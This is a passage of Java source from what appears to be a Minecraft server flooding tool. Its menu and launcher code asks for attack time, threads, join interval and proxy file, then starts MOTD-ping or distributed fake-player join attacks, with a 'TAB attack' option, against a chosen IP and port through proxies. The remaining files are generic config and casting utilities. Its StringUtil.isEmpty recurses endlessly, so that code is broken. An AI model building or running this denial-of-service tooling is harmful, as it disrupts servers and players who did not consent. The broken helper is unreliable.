switch (mode) { 72 | case "2": 73 | _2(); 74 | return; 75 | default: 76 | log("您的选择有误,请重新选择"); 77 | } 78 | } 79 | } 80 | 81 | public static void _2() { 82 | int time = 999999999; 83 | int maxAttack = 999999999; 84 | log("请输入每次加入服务器间隔(ms)"); 85 | int sleepTime = config.toint(config.getValue("delay")); 86 | log("请输入是否开启TAB攻击 y/n,默认关闭(n)"); 87 | boolean tab = config.getBoolean("tab"); 88 | log("请输入是否开启操死乐乐模式 y/n,默认关闭(n)"); 89 | boolean lele = config.getBoolean("lele"); 90 | getProxy(); 91 | IAttack attack = new DistributedBotAttack(time, maxAttack, sleepTime, lele, tab, new HashMap()); 92 | attack.start(ip, port); 93 | } 94 | 95 | public static void getProxy() { 96 | log("请输入代理文件名 如http.txt"); 97 | String filename = config.getValue("proxies"); 98 | log("正在获取代理"); 99 | ProxyPool.getProxysFromFile(filename); 100 | } 101 | 102 | } -------------------------------------------------------------------------------- /src/me/alikomi/endminecraft/Menu.java: -------------------------------------------------------------------------------- 1 | package me.alikomi.endminecraft; 2 | 3 | import java.util.HashMap; 4 | import java.util.Scanner; 5 | 6 | import luohuayu.EndMinecraftPlus.Utils; 7 | import luohuayu.EndMinecraftPlus.proxy.ProxyPool; 8 | import luohuayu.EndMinecraftPlus.tasks.attack.DistributedBotAttack; 9 | import luohuayu.EndMinecraftPlus.tasks.attack.IAttack; 10 | import luohuayu.EndMinecraftPlus.tasks.attack.MotdAttack; 11 | 12 | public class Menu extends Utils { 13 | private String ip; 14 | private Scanner scanner; 15 | private int port; 16 | 17 | public Menu(Scanner sc, String ip, int port) { 18 | this.ip = ip; 19 | this.port = port; 20 | this.scanner = sc; 21 | 22 | } 23 | 24 | public void _1() { 25 | log("MOTD攻击选择"); 26 | log("请输入攻击时间(单位:蛤)(60)"); 27 | int time = getCo(scanner.nextLine(), 60); 28 | log("请输入线程数(10)"); 29 | int thread = getCo(scanner.nextLine(), 16); 30 | IAttack attack = new MotdAttack(time, thread, 0, false, false, null); 31 | attack.start(ip, port); 32 | } 33 | 34 | public void _2() { 35 | log("分布式假人压测选择", "请输入攻击时长!(3600s)"); 36 | int time = getCo(scanner.nextLine(), 3600); 37 | log("请输入最大攻击数(10000)"); 38 | int maxAttack = getCo(scanner.nextLine(), 10000); 39 | log("请输入每次加入服务器间隔(ms)"); 40 | int sleepTime = getCo(scanner.nextLine(), 0); 41 | log("请输入是否开启TAB攻击 y/n,默认关闭(n)"); 42 | boolean tab = getCo(scanner.nextLine(), "n").equals("y"); 43 | log("请输入是否开启操死乐乐模式 y/n,默认关闭(n)"); 44 | boolean lele = getCo(scanner.nextLine(), "n").equals("y"); 45 | getProxy(); 46 | IAttack attack = new DistributedBotAttack(time, maxAttack, sleepTime, lele, tab, new HashMap()); 47 | attack.start(ip, port); 48 | } 49 | 50 | public void getProxy() { 51 | log("请输入代理文件名 如http.txt"); 52 | String filename = scanner.nextLine(); 53 | if (filename == null) { 54 | filename = "http.txt"; 55 | } 56 | log("正在获取代理"); 57 | ProxyPool.getProxysFromFile(filename); 58 | // switch (getCo(scanner.nextLine(), 1)) { 59 | // case 1: 60 | // ProxyPool.getProxysFromFile("http.txt"); 61 | // break; 62 | // case 2: 63 | // ProxyPool.getProxysFromFile("socks.txt"); 64 | // break; 65 | 66 | // default: 67 | // ProxyPool.getProxysFromFile("http.txt"); 68 | // break; 69 | // } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/xyz/yuanpi/CastUtil.java: -------------------------------------------------------------------------------- 1 | package xyz.yuanpi; 2 | 3 | /** 4 | * 转型操作工具类 5 | */ 6 | public final class CastUtil { 7 | 8 | /** 9 | * 转为 String 型 10 | */ 11 | public static String castString(Object obj) { 12 | return CastUtil.castString(obj, ""); 13 | } 14 | 15 | /** 16 | * 转为 String 型(提供默认值) 17 | */ 18 | public static String castString(Object obj, String defaultValue) { 19 | return obj != null ? String.valueOf(obj) : defaultValue; 20 | } 21 | 22 | /** 23 | * 转为 double 型 24 | */ 25 | public static double castDouble(Object obj) { 26 | return CastUtil.castDouble(obj, 0); 27 | } 28 | 29 | /** 30 | * 转为 double 型(提供默认值) 31 | */ 32 | public static double castDouble(Object obj, double defaultValue) { 33 | double doubleValue = defaultValue; 34 | if (obj != null) { 35 | String strValue = castString(obj); 36 | if (StringUtil.isNotEmpty(strValue)) { 37 | try { 38 | doubleValue = Double.parseDouble(strValue); 39 | } catch (NumberFormatException e) { 40 | doubleValue = defaultValue; 41 | } 42 | } 43 | } 44 | return doubleValue; 45 | } 46 | 47 | /** 48 | * 转为 long 型 49 | */ 50 | public static long castLong(Object obj) { 51 | return CastUtil.castLong(obj, 0); 52 | } 53 | 54 | /** 55 | * 转为 long 型(提供默认值) 56 | */ 57 | public static long castLong(Object obj, long defaultValue) { 58 | long longValue = defaultValue; 59 | if (obj != null) { 60 | String strValue = castString(obj); 61 | if (StringUtil.isNotEmpty(strValue)) { 62 | try { 63 | longValue = Long.parseLong(strValue); 64 | } catch (NumberFormatException e) { 65 | longValue = defaultValue; 66 | } 67 | } 68 | } 69 | return longValue; 70 | } 71 | 72 | /** 73 | * 转为 int 型 74 | */ 75 | public static int castInt(Object obj) { 76 | return CastUtil.castInt(obj, 0); 77 | } 78 | 79 | /** 80 | * 转为 int 型(提供默认值) 81 | */ 82 | public static int castInt(Object obj, int defaultValue) { 83 | int intValue = defaultValue; 84 | if (obj != null) { 85 | String strValue = castString(obj); 86 | if (StringUtil.isNotEmpty(strValue)) { 87 | try { 88 | intValue = Integer.parseInt(strValue); 89 | } catch (NumberFormatException e) { 90 | intValue = defaultValue; 91 | } 92 | } 93 | } 94 | return intValue; 95 | } 96 | 97 | /** 98 | * 转为 boolean 型 99 | */ 100 | public static boolean castBoolean(Object obj) { 101 | return CastUtil.castBoolean(obj, false); 102 | } 103 | 104 | /** 105 | * 转为 boolean 型(提供默认值) 106 | */ 107 | public static boolean castBoolean(Object obj, boolean defaultValue) { 108 | boolean booleanValue = defaultValue; 109 | if (obj != null) { 110 | booleanValue = Boolean.parseBoolean(castString(obj)); 111 | } 112 | return booleanValue; 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /src/xyz/yuanpi/PropsUtil.java: -------------------------------------------------------------------------------- 1 | package xyz.yuanpi; 2 | 3 | import java.io.FileNotFoundException; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import java.util.*; 7 | 8 | /** 9 | * 属性文件工具类 10 | */ 11 | public final class PropsUtil { 12 | 13 | /** 14 | * 加载属性文件 15 | */ 16 | public static Properties loadProps(String fileName) { 17 | Properties props = null; 18 | InputStream is = null; 19 | try { 20 | is = Thread.currentThread().getContextClassLoader().getResourceAsStream(fileName); 21 | if (is == null) { 22 | throw new FileNotFoundException(fileName + " file is not found"); 23 | } 24 | props = new Properties(); 25 | props.load(is); 26 | } catch (IOException e) { 27 | } finally { 28 | if (is != null) { 29 | try { 30 | is.close(); 31 | } catch (IOException e) { 32 | } 33 | } 34 | } 35 | return props; 36 | } 37 | 38 | /** 39 | * 获取字符型属性(默认值为空字符串) 40 | */ 41 | public static String getString(Properties props, String key) { 42 | return getString(props, key, ""); 43 | } 44 | 45 | /** 46 | * 获取字符型属性(可指定默认值) 47 | */ 48 | public static String getString(Properties props, String key, String defaultValue) { 49 | String value = defaultValue; 50 | if (props.containsKey(key)) { 51 | value = props.getProperty(key); 52 | } 53 | return value; 54 | } 55 | 56 | /** 57 | * 获取数值型属性(默认值为 0) 58 | */ 59 | public static int getInt(Properties props, String key) { 60 | return getInt(props, key, 0); 61 | } 62 | 63 | // 获取数值型属性(可指定默认值) 64 | public static int getInt(Properties props, String key, int defaultValue) { 65 | int value = defaultValue; 66 | if (props.containsKey(key)) { 67 | value = CastUtil.castInt(props.getProperty(key)); 68 | } 69 | return value; 70 | } 71 | 72 | /** 73 | * 获取布尔型属性(默认值为 false) 74 | */ 75 | public static boolean getBoolean(Properties props, String key) { 76 | return getBoolean(props, key, false); 77 | } 78 | 79 | /** 80 | * 获取布尔型属性(可指定默认值) 81 | */ 82 | public static boolean getBoolean(Properties props, String key, boolean defaultValue) { 83 | boolean value = defaultValue; 84 | if (props.containsKey(key)) { 85 | value = CastUtil.castBoolean(props.getProperty(key)); 86 | } 87 | return value; 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/xyz/yuanpi/StringUtil.java: -------------------------------------------------------------------------------- 1 | package xyz.yuanpi; 2 | 3 | public final class StringUtil { 4 | 5 | /** 6 | * 判断字符串是否为空 7 | */ 8 | public static boolean isEmpty(String str) { 9 | if (str != null) { 10 | str = str.trim(); 11 | } 12 | return StringUtil.isEmpty(str); 13 | } 14 | 15 | /** 16 | * 判断字符串是否非空 17 | */ 18 | public static boolean isNotEmpty(String str) { 19 | return !isEmpty(str); 20 | } 21 | } -------------------------------------------------------------------------------- /src/xyz/yuanpi/config.java: -------------------------------------------------------------------------------- 1 | package xyz.yuanpi; 2 | 3 | import java.io.FileInputStream; 4 | import java.io.FileNotFoundException; 5 | import java.io.FileOutputStream; 6 | import java.io.IOException; 7 | import java.util.Properties; 8 | 9 | public class config { 10 | private static Properties propertie; 11 | private static FileInputStream inputFile; 12 | private static FileOutputStream outputFile; 13 | 14 | /** 15 | * 初始化loadcfg类 16 | */ 17 | public config() { 18 | propertie = new Properties(); 19 | } 20 | 21 | /** 22 | * 初始化loadcfg类 23 | * 24 | * @param filePath 要读取的配置文件的路径+名称 25 | * @return 26 | */ 27 | public static void readconfig(String filePath) { 28 | propertie = new Properties(); 29 | try { 30 | inputFile = new FileInputStream(filePath); 31 | propertie.load(inputFile); 32 | inputFile.close(); 33 | } catch (FileNotFoundException ex) { 34 | System.out.println("读取属性文件--->失败!- 原因:文件路径错误或者文件不存在"); 35 | ex.printStackTrace(); 36 | } catch (IOException ex) { 37 | System.out.println("装载文件--->失败!"); 38 | ex.printStackTrace(); 39 | } 40 | }// end ReadConfigInfo(...) 41 | 42 | /** 43 | * 重载函数,得到key的值 44 | * 45 | * @param key 取得其值的键 46 | * @return key的值 47 | */ 48 | public static String getValue(String key) { 49 | if (propertie.containsKey(key)) { 50 | String value = propertie.getProperty(key);// 得到某一属性的值 51 | return value; 52 | } else 53 | return ""; 54 | }// end getValue(...) 55 | 56 | /** 57 | * 重载函数,得到key的值 58 | * 59 | * @param fileName properties文件的路径+文件名 60 | * @param key 取得其值的键 61 | * @return key的值 62 | */ 63 | public String getValue(String fileName, String key) { 64 | try { 65 | String value = ""; 66 | inputFile = new FileInputStream(fileName); 67 | propertie.load(inputFile); 68 | inputFile.close(); 69 | if (propertie.containsKey(key)) { 70 | value = propertie.getProperty(key); 71 | return value; 72 | } else 73 | return value; 74 | } catch (FileNotFoundException e) { 75 | e.printStackTrace(); 76 | return ""; 77 | } catch (IOException e) { 78 | e.printStackTrace(); 79 | return ""; 80 | } catch (Exception ex) { 81 | ex.printStackTrace(); 82 | return ""; 83 | } 84 | }// end getValue(...) 85 | 86 | /** 87 | * 清除properties文件中所有的key和其值 88 | */ 89 | public void clear() { 90 | propertie.clear(); 91 | }// end clear(); 92 | 93 | /** 94 | * 改变或添加一个key的值,当key存在于properties文件中时该key的值被value所代替, 95 | * 当key不存在时,该key的值是value 96 | * 97 | * @param key 要存入的键 98 | * @param value 要存入的值 99 | */ 100 | public static void setValue(String key, String value) { 101 | propertie.setProperty(key, value); 102 | }// end setValue(...) 103 | 104 | /** 105 | * 将更改后的文件数据存入指定的文件中,该文件可以事先不存在。 106 | * 107 | * @param fileName 文件路径+文件名称 108 | * @param description 对该文件的描述 109 | */ 110 | public static void saveFile(String fileName, String description) { 111 | try { 112 | outputFile = new FileOutputStream(fileName); 113 | propertie.store(outputFile, description); 114 | outputFile.close(); 115 | } catch (FileNotFoundException e) { 116 | e.printStackTrace(); 117 | } catch (IOException ioe) { 118 | ioe.printStackTrace(); 119 | } 120 | }// end saveFile(...) 121 | 122 | public static boolean getBoolean(String key) { 123 | return getBoolean(propertie, key, false); 124 | } 125 | 126 | /** 127 | * 获取布尔型属性(可指定默认值) 128 | */ 129 | public static boolean getBoolean(Properties props, String key, boolean defaultValue) { 130 | boolean value = defaultValue; 131 | if (props.containsKey(key)) { 132 | value = CastUtil.castBoolean(props.getProperty(key)); 133 | } 134 | return value; 135 | } 136 | 137 | public static int toint(String str) { 138 | int b = Integer.valueOf(str).intValue(); 139 | return b; 140 | } 141 | 142 | } 143 | --------------------------------------------------------------------------------